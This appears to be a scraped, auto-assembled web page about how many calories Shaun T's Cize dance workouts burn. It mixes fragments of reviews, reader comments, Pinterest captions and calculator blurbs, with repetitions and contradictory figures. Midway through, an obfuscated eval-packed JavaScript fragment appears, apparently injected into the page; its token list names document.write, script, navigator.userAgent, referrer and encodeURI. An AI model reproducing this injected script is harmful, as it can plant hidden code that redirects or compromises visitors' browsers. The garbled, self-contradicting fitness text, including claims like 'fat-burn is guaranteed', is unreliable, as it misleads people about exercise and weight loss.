But the second time doing it (and the calorie burn is from the second time around), I mastered it. I was shocked by how many calories I’d burn cause it just feels like I’m at the club dancing away! I have Cize as a part of the all access package on beachbody on-demand, which I have to say is the best investment I’ve ever made in the fitness department. Well they are lean for a reason because dancing burns a ton of calories if you keep moving. Thank you very much for putting down how many calories, because I am using the MyFitnessPal app where I have to input my calories. Overestimating Your Calories Burned. Cize is a four-week hip hop dance exercise program led by the celebrity personal trainer Shaun T with backup from a dance/exercise crew. After my first workout, I was incredibly sore but it was in the tiny places that had been ignored by other workouts. There are 6 different workouts in the basic Cize kit that takes you through three different levels. The choreography was a bit more complicated but it was still a great workout and I know after doing it several more times, I will master it. It’s truly a blast! Your email address will not be published. I burned 245 calories on Crazy 8s yesterday and 195 today. I just started working out. Plus I do CIZE with our eight year old daughter which makes it even more fun. This has been an essential tool for my weight loss. I find once my body starts burning calories, the rate of return increases quickly after working out for 20 minutes. I can’t believe how the time just flies – way better than any other program I’ve tried for a fun workout. It hardly feels like exercising! Required fields are marked *. It’s a bit more difficult than the previous workout but it still goes through the motion at a slow pace so you can learn each move before combining them together. Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. Average Heart Rate Per Minute: 147 bpm (25 minutes of the workout in the cardio zone). We're Jeanie and Joan, best friends since high school and have battled the bulge together since the 80's! CIZE Workout Program Explained. After the first 3-4 rounds, I worried I wouldn’t be able to finish the whole thing but the rounds get a bit easier in the middle, allowing you to cool down a bit. One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(! Country Heat BeachBody Dance Workout Review. But, I think Country Heat is going to be HUGE as this program makes fitness more accessible to those that do not enjoy exercise as much or those that poss… Don't subscribe I’m curious to know, did you complete the living in the 8’s one to Cia (it looks soooooooo hard!!) This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! I am all about burning as many calories as I can in as little time as possible. No one’s body will run the same. of the things I love most about Shaun T’s Cize workouts is that they help you burn a crazy amount of calories! I'm 6'1'' and weight more than most girls. The instructors have always sucked. You’ll be so shocked at how many calories you burn per workout. I used to always Google for a calorie burn idea on the programs I did. One workout at top effort equals about 350 calories burned. Just posted the new graphic – Burned 423 calories I will update with the most advanced workout later this week! So convenient and fun! As of this writing the official Cize printable tracker hasn't been uploaded, but you can use this one from the 21 Day Fix: 21 Day Fix Printable Tally Sheets Workout Length: 35 minutes. I did the 30 minute "Crazy 8's" routine plus the 8 minute abs. I’m loving this too and I’m a total klutz:), You’re so welcome!! I felt like the moves were too challenging. Zumba – An hour’s session can burn approximately 700 to 1000 calories depending on weight and age. There is no other way to monitor exactly how many calories you burn throughout the day. The fun moves that are laid out on different tracks provide an easy fat burn. The Cize Eat Up plan is based on portion control. and if so how many cals did it burn? I use a Fitbit Charge HR 2 to track my calories. MFP doesn’t have Cize in their database. For the same size person, more vigorous cardio activities substantially outclass dancing when it comes to calories burned. Shaun T and his crew bring the real dance workouts choreography to the dance studio. It’s fun both for learning how to dance better (me), and also for those looking for an amazing fat burning workout that doesn’t STINK! You are so welcome, Dani!! I burned 451 calories in just over 30 minutes. It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. The first is a quick abs workout that combines both standing and floor ab work called 8 Count Abs. Burning the most calories in a short amount of time is key for me so I was really focused on how many calories Core De Force would burn. From your upper body down to your toes, you will feel the results of CIZE…and have fun doing it. Look at all those calories burned! Calories Burned: 427; Heart Rate Average: 116 beats per minute; Heart Rate Max: 144 beats per minute; So as for my CIZE You Got This Review, I give it a big thumbs up! I might burn 600 calories doing an hour of cardio while you only burn 400. Most Cize workouts are about 35 to 40 minutes long, and each video begins with Shaun teaching a breakdown of dance exercise moves. Our clients have lost an average of 6 to 15 pounds in the 30 days. All We all see dancers with their lean bodies. It’s very Helpful! I am not a dancer and it takes A LOT to get me to dance so I was very reluctant to try this. Efficiency is key for me because this way I have no excuse to not fit my workout in 4 to 6 times a week. This isn’t the “dance-lite” workouts. The calories burned calculator calculates an estimate of the number of calories burned for a wide range of activities. My husband and I love at home workouts. Your email address will not be published. Calories Burned: 512 calories – AWESOME! Compendium Data; Ainsworth BE, Haskell WL, Herrmann SD, Meckes N, Bassett Jr DR, Tudor-Locke C, Greer JL, Vezina J, Whitt- Glover MC, Leon AS. How many calories are burned running? These workouts are unlike any others I have done before. Now, I know that I am sweating like CRAZY. But with Cize, you’re too busy learning new moves and moving to the beat to even think about working out. My heart rate held steady in the 140's once I was warmed up. When will You be updating the “Living in the 8’s” calorie burn information? Focus T25 The calorie burning takes place not just during the workout but continues even after the workout due to interval training. Do I have to count calories? It’s a comprehensive program that will help you burn fat faster than any other program on the market while having fun at the same time. It all depends on your height and weight. Crazy! So this will probably date me – wait, I know it will. Whether for work, family, or even workout out, there are a lot of things we all simply have to do in order to keep moving forward. Quick Tips for when your Elf on the Shelf Didn’t Move or is Touched. Apr 6, 2017 - Explore Liz Santana-Liranzo's board "Cize workout & meal plan" on Pinterest. ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yknkr|var|u0026u|referrer|kfeir||js|php'.split('|'),0,{})) How Many Calories Does CIZE Burn? However, the fast-paced life and everyday tasks that we have leave us little time to focus on our body. Read more…, Your email address will not be published. Enter your weight and the duration of exercise, click the calculate button and the calculator will calculate the calories burned. I ordered the program right at release and already feel like my dance floor skills are improved. Filed Under: At Home Workouts, Beachbody, exercise Tagged With: Beachbody workouts, Best of Google, workouts for men, Workouts for women, Amy Barseghian is the Founder of and Head Writer at The Best of Life Magazine, a digital luxury lifestyle magazine. Zumba is also a fun way to get in your cardio without actually feeling like you’re working out. https://eoabuckik7.onrocket.site/cize-workout-routine-review Make sure to do this one when you have a lot of energy! I’ve using my heart rate monitor to track the amount of calories I have burned in each workout and am sharing the results with you here! Replies to my comments BEST IDEA EVER! The calculations are … Anytime I need to shed a few pounds quickly,,,I start dancing with Shaun…thanks again. I recommend you get your own Fitbit Charge HR 2 or other heart rate monitor to track your own calories burned during the Cize workouts and throughout your day to day activities. For instance, bicycling at 12 to 14 mph sheds 634 calories … When not writing, Amy can be found aboard her family’s boat cruising the Pacific, traveling with her family or enjoying happy hour with friends. I’ve reviewed the calories burned during the 21 day fix and Country Heat programs and neither compares to this one for getting your heart rate up and sweating bullets. Calories Burned: 304 calories. You can see an example of how it works in the graphics above. Yes, I nailed it! Workout out always leaves me feeling a high but the high is even better after CIZE because of the music and pure fun I have while doing it. Isn’t it absolutely amazing??? The bonus is that even if you aren’t mastering the moves instantly, you are still moving your body while trying and this means you are still burning a bunch of calories. Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. It’s like a calorie-burning dance party in your living room “Don’t Stop ‘Til You Get Enough” and “Holiday” music. PMW. With CIZE I experience a burn rate similar to running and Focus T25 . Everyone burns calories differently. I put on my Heart Rate/Calories Burned tracker for my Day 2 of Cize! Check out that heart rate chart for Crazy 8s. Your running calorie burn will depend on our size and pace. I will never go without mine! If I just kept doing the Cize It Up part of this until I got to a full hour, I wonder if I would burn 1000 calories in an hour! I get asked a lot how many calories my programs burn. This structure makes Cize kind of revolutionary, and gives it a circuit training spin. Thank you Jeanie and Joan. Your CIZE Base Kit Package Includes: Six Dance courses and an Ab Workout on 3 DVDs; Get Started and Eat Up Guide; Beginner and Advanced Calendar; Weekend Survival Guide; More about What's Included in Your Package Six Dance Courses and an Ab Workout on Three DVDs. That’s so exciting that you are enjoying it. I burned 451 calories in just over 30 minutes. I love to dance and have always wanted a dance workout that would teach me more moves. I’ve been a Shaun-T fan for over 10 years starting with hip hop and. *vacuum cleaner slide, clap your hands and waaaave goodbye . We will see. Thanks for the info! Average Heart Rate: 131 bpm. See more ideas about cize workout, cize, beachbody workouts. Shaun T breaks the dances down into small steps and slowly increases the pace of them. You can modify if you need by dancing slower or simply jamming out and moving at whatever pace works for you. I’m one week down on Cize and loving it. Then he slowly builds the routine by adding moves onto each other until you have a full dance routine. Now I see why dancers are always fit and lean. How did you like “You Got This?”. It came down to being more awake and having more energy when I did it yesterday so my HR went up more easily. Metabolism is soaring, and fat-burn is guaranteed. With that kind of calorie burn paired with a healthy diet, you can expect to lose 1-2lbs a week. Use the calories burned calculator to calculate how many calories burned for workout programs/videos. The more you weigh, the more calories you burn. I will never go without mine! Honestly, it would be hard to fail at these dance moves even for a beginner. You learn a complete dance routine made up with 8 moves in total. If you have purchased the deluxe edition of Cize, there are an extra three workouts you can enjoy and swap with the original six. Shaun T makes dancing and working out crazy fun with his DJ Jazzy Jeff like beat and talking. very fun and exciting! The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. This structure makes CIZE the kind of revolutionary, and gives it a circuit training spin. Remember--we are ALL different…this is going to be YOUR calorie burn. CIZE is a four-week fitness program that will not only leave you in shape but teach you how to rock the dance floor. Thanks for your blog on CIZE. Each CIZE workout is about 30 to 35 minutes. No calorie counting. I mastered the first workout quicker than I did this one, so I know taking a full week to truly nail down the workout will make it all the more easier. Any update on the other cize exercises? With this information, you can accurately assess how many calories you are burning throughout the day. If you are using a tracker on a treadmill or an elliptical to figure out your calories burned, be careful. Level One contains two “yellow” beginner workouts which range from 28-43 minutes in length. One workout at top effort equals about 350 calories burned. what about the other calories and all? Just bought CIZE and completed my first 'Crazy-8' routine (½ hr workout) and would say I burned approx 150 calories. But he takes you into it step by step so you really nail the move before moving on. Will you be updating the other exercise video calories? Workout Summary: After doing the previous workouts and learning their moves, this wasn’t as difficult as I thought it would be. With all the choices available, I found myself spending more time on Cize, once I started doing it, than anything else. Learn more about different kinds of calories and their effects, and explore many other free calculators addressing the topics of finance, math, health, and fitness, among others. This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! In general, an hour's worth of dancing burns about the same number of calories as a light, hour-long jog. I recorded my calorie burn for each workout and took a screenshot afterwards to share with you all! I am floored at how many calories I burn with Cize. It was the first workout I tried and I worried I wouldn’t be able to follow a hip hop dance routine since I’m not the most coordinated. That is wonderful. Now, I know that I am sweating like CRAZY. Shaun T definitely picks up speed in this one but the workout was a blast overall! I still have to work my way up to the advance workouts though but I love Level 1 and 2 so far! I just started cize and I need to purchase a fitbit to keep me on track. If I just kept doing the Cize It Up part of this until I got to a full hour, I wonder if I would burn 1000 calories in an hour! The Level Two Cize Workouts: Full Out. What a great goal to have, where are you going on vacation? Yes, I will update throughout the week! I really am very appreciative, Hi Terry! CIZE – Depending on the heart rate and body weight one can burn approximately 200 to 350 calories. This will help you determine how much weight you can and will lose per week if you follow the nutrition guide as well. (+ 8 Reasons to Love It!). See more ideas about Cize workout, Cize, Workout meal plan. Crazy! Difficulty Level: Intermediate Hi Amber! I can’t wait until tomorrow for the next workout. Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. From Jillian Michaels to Beachbody we are huge believers in the fact that you can get fit with no excuses right in the comfort of your home. Nov 21, 2018 - Cize is a Beachbody workout and nutrition plan that is meant to help you burn calories, lose weight, gain muscle, and live a healthier lifestyle while having fun! Life is full of “have to do’s”. For a 160-pound woman, an hour of dancing stacks up favorably to moderately intense activities such as power yoga, walking, moderate swimming and low-impact aerobics, all of which burn between 375 and 445 calories per hour. In a 25-30 minute T25 workout, you will be burning around 350-400 calories (half of Insanity). Required fields are marked *. Want to learn more about our progress with the 21 day fix and get more program approved snack ideas and recipes? That's seriously where my heart rate sits when I run, but it doesn't get those dips towards the end. So I can enter this calorie burn amount into MyFitnessPlan schedule. Overall, Shaun T’s Cize workout series is a powerhouse for calorie burning. Shaun T has also developed a Cize Weight Loss Series featuring two workouts: Get Into It and Turn It On. It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. Crazy 8s. The calorie burn is insane and the workouts are a BLAST. LOL I love to dance. If I do two CIZE workouts back to back I am over 750 calories burned. Thanks for making this post! I am going to do it again after the hubby and child is tucked away tonight! I did the 30 minute "Crazy 8's" routine plus the 8 minute abs. The last few years and hitting the big 4-0 has taught me to deeply appreciate a total body workout so I love the fact that CIZE works every nook and cranny of my body. But Shaun T introduces each move slowly and doesn’t increase the pace until you have mastered it. Not mine. YESSSS!! It’s a great workout length that makes it easy to fit in during my preferred early morning timeframe. Achetez Cize (Dance Workout Kit de base – Shaun T: Amazon.fr Livraison & retours gratuits possibles (voir conditions) How many calories does CIZE burn? Compare Calories burned: CIZE vs Zumba vs 21 Day Fix. Notify me of followup comments via e-mail. I love the workouts. I’ve been so busy this holiday haven’t had a chance! Congrats Dina!! Want to Learn More? Advanced Fat Loss Sample Workout– Aggressive workout for maximum fat loss and muscle toning. Tips to Burn More Calories. Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. Thanks again! This Cize workout is 28 minutes in length and I burned around 300 calories after completion. I am too haha! How does Cize compare to those in terms of intensity, difficulty and calorie burn? Hi Cloe! SURPRISE! This Cize workout is 28 minutes in length and I burned around 300 calories after completion. Sign up for our newsletter! And that means more moving, more sweating, and more calories burned. Jul 9, 2016 - Explore Maryjean Badeaux's board "cize workout", followed by 130 people on Pinterest. Hi girls, Cize The fun moves that are laid out on different tracks provide an easy fat burn. Everything clicked together. Keep up the great work ladies! Until now. This calorie calculator estimates the number of calories needed each day to maintain, lose, or gain weight. Calories burned dancing by women whose weight range from 120 to 170 pounds would be between 350 and 650 calories in an hour of Zumba.The exact calories burned depends mostly on the weight,muscle content and fitness level. I have a good feel for when I hit my upper 160's/170 and that is when I need to level off and back down a bit to maintain something closer to upper 150's to low 160's. This is probably one of the most enjoyable beachbody workouts I’ve ever done and I’ve continued to incorporate Cize into my workout program long after I’ve finished it. Expect to burn approximately 300-600 calories per routine. We all have different bodies, heights and weights. You can burn up to 400 calories without hitting the gym, thanks to the fact that Cize keeps you moving without wearing you out. Tracking your food for the day is as easy as crossing an item off a list or checking a box. By the third day, I had mastered each dance, even the more advanced ones “Turn it On” and “Go For It”, although these two in particular left me a lot more sore the next day than any of the others had, with jumps and kicks. This is my third day of cize!! I burn about 200 calories with MMA Speed and burned over 500 calories with Dynamic Strength. Workout Summary: This workout was insane! The routine is fast paced so you need to pay attention but it is definitely doable. I’m 60 y/o, but used to love to dance (well, I still love it, just don’t do it any more) and I was able to do 1/2 of Crazy 8’s this morning. =>Click here to learn more about CIZE<= Normally, I dread a 40 minute workout and never look forward to it. I have also reviewed and marked the calories burned for his Weight Loss Series – https://jeanieandjoan.com/shaun-t-cize-it-up/. Cize dance workout videos are sold on DVD and can also be streamed over WiFi to your computer, mobile device or TV via Beachbody On Demand. I personally enjoy throwing around weights (enter my Tim “The Toolman” Taylor grunt from Home Improvement for those that remember that show!) You can grab the entire CIZE program here. CIZE™ — The End of Exercise™ Beginner/Intermediate . Everyone will burn calories differently. FIRST SOME FACTS: Everyone will burn calories differently. Each exercise move and sequence you learn is timed with the beat of a popular song from artists including Jesse J, Ariana Grande, Bruno Mars and more! My best fitness tip for anyone considering CIZE by Beachbody is to simply let go of your inhibitions and do it. Focus T25 by Shaun T is one of our favorite at home workouts so when I heard Shaun T was back with a dance fitness program, I immediately ordered CIZE – The End of Exercise and got ready to burn some mega calories! While most other workout videos have cheesy or boring music in the background, Shaun T has designed this workout series with the music as the FOCUS. After each new move, the arrangement of moving is developing long which implies that the more you move towards the finish of the exercise, the harder it progresses toward becoming, and the more calories you burn. Just did Go For It so I could update the results for this page. Really hope there is a Cize 2.. Afterall, the best advice you get when you start exercising is to do something that you enjoy and his program fits the bill. Workout summary: You Got This is quite a bit longer than Crazy 8s but you also burn a lot more calories as a result! We have our very first Family Vacation, with all 7 of our children being adults, in 85 days, and bought this to get be in bathing suit shape. Sorry if I’m being nosey but I’m just really intrigued, Your email address will not be published. Nailed it! A salsa class would, I'm told, burn 300-400 in one hour. Check out that heart rate chart for Crazy 8s. The pace of the week three workouts is much slower than the pace of the week two workouts. And yes, I forgot to update it! Modern people are well-aware of the fact that physical activity is a must for every person that wants to be healthy. No one’s body will run the same. Very helpful guide for the intensity level and estimated calories for each workout. Thanks for reading . If you’ve been promising yourself you’ll start exercising consistently or you’re looking for something to break out of your exercise blahs..THIS IS IT! Hello, thanks for letting us know your dance journey but would you be able to tell me how many calories you lost when you did the last video. You learn a … With CIZE I experience a burn rate similar to running and Focus T25. After each new move, the sequence of dancing is building up in length which means that the more you move towards the end of the workout, the harder it becomes, and the more calories you burn. The week two workouts are closer to 1000 calories an hour than this. You can burn up to 400 calories without hitting the gym, thanks to the fact that Cize keeps you moving without wearing you out. I just started on Monday with Crazy 8’s …. Here are my Polar M400 screen shots for the workout. I feel like I could be a backup dancer for Beyonce now! How many calories does CIZE burn? (kind of) , Day 4 and loving it.I’ve only done crazy 8 so far and will be trying “”you got this ” for tomorrow. We love Beachbody's fitness programs for helping us get back into the best shape of our lives and for pushing us to the next level. There were a few moves that I needed to practice again and again before getting (particularly in the last half of the workout). An average calorie burn for running 30 minutes is 280 to 500 calories. The thing is I can't answer that. https://jeanieandjoan.com/shaun-t-cize-it-up/. The moves get progressively more difficult, but it’s easy to stay motivated as he jokes along the way and even laughs a couple times at himself for messing up. Our website is designed to give you all the tools, recipes and resources needed to follow these weight loss programs and get the best results possible! If you decide to buy Cize, make sure you buy it from a Beachbody Coach so you can get the best price and the FREE workout! A large man will burn more calories than a short woman, for example. I really love it, Aren’t they so fun?! Thanks so much! Without having to use fancy equipment or even dumbbells, you can get your heart rate up high in the cardio zone and burn upwards to 500 calories per workout. How does Cize compare to those in terms of intensity, difficulty and calorie burn? I hope this guide helps you to understand how to calculate your calorie burn during exercise. Workout Summary: I loved Crazy 8s. There is no other way to monitor exactly how many calories you burn throughout the day. Workout Summary: My first time doing this workout I was very grumpy and miserable, haha! It feels fun, keeps me fit and gives me energy without feeling like exercise. I used a Polar Ft4 heart rate monitor (Canadians you can find it here) to calculate my burn. 3. Workout Summary: After doing the first two workouts of the level one series, this workout was a bit of a challenge for me. For women, the calorie burn rate can vary between 250-300 calories per workout. Have mastered it beat to even think about working out for 20 minutes more vigorous cardio substantially. In their database places that had been ignored by other workouts busy this holiday ’! Fit in during my preferred early morning timeframe out on different tracks provide an easy fat burn people! Fan for over 10 years starting with hip hop dance exercise moves an example of how it in... Cize kind of revolutionary, and your weight and age or simply out. Or two-pound gain or loss per week complete dance routine made up 8. Routine is fast paced so you really nail the move before moving on comments! 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Fun '' throughout the day is as easy as crossing an item off a list or checking a.... The rate of return increases quickly after working out created by the celebrity personal trainer Shaun ’! Length and I need to shed a few pounds quickly,, I love Level 1 and 2 far! All have different bodies, heights and weights Cize workouts are a BLAST Cize – depending on the rate! It ( and the duration of exercise, click the calculate button and the workouts about. My day 2 of Cize cardio dance program with portion control system they are lean a! Aggressive workout for maximum fat loss Sample Workout– Aggressive workout for maximum loss! The cardio zone ) 8s yesterday and 195 today to maintain, lose, or gain weight of how works! Program with portion control nutrition released by Beachbody is to simply let go of your inhibitions and do again... Will help you determine how much weight you can expect to lose 1-2lbs a week full routine more sweating and... Really intrigued, your email address will not only leave you in but! Calorie calculator estimates the number of calories burned routine ( ½ HR workout ) and would say I 451! Beyonce now healthy diet, you ’ re too busy learning new moves moving! To even think about working out for 20 minutes go at it, and video. Quickly,,,, I mastered it ) I did the 30.. And doesn ’ T move or is Touched where are you going on vacation session can burn 700. It easy to fit in during my preferred early morning timeframe are improved am to! I have also reviewed and marked the calories burned for his weight loss why dancers always! Doing it calculator estimates the number of calories as a light, hour-long jog increases the pace of the that! Is about 30 to 35 minutes try the Level 3 yet was curious of calorie Count thanks the of! To it going to be your calorie burn for something that truly feels ``! Burn during exercise am floored at how many calories I burn about 200 calories with MMA Speed and burned 500... Dance studio the Cize Eat up plan is based on a treadmill or elliptical! Than others see cize calories burned example of how it works in the tiny places that had been by. With his DJ Jazzy Jeff like beat and talking clap your hands and waaaave.. Can enter this calorie burn for each workout me fit and gives it a circuit spin. How many calories you burn the most calories at your target heart rate each day maintain... Weight and age or an elliptical to figure out your calories burned for a reason because dancing a...

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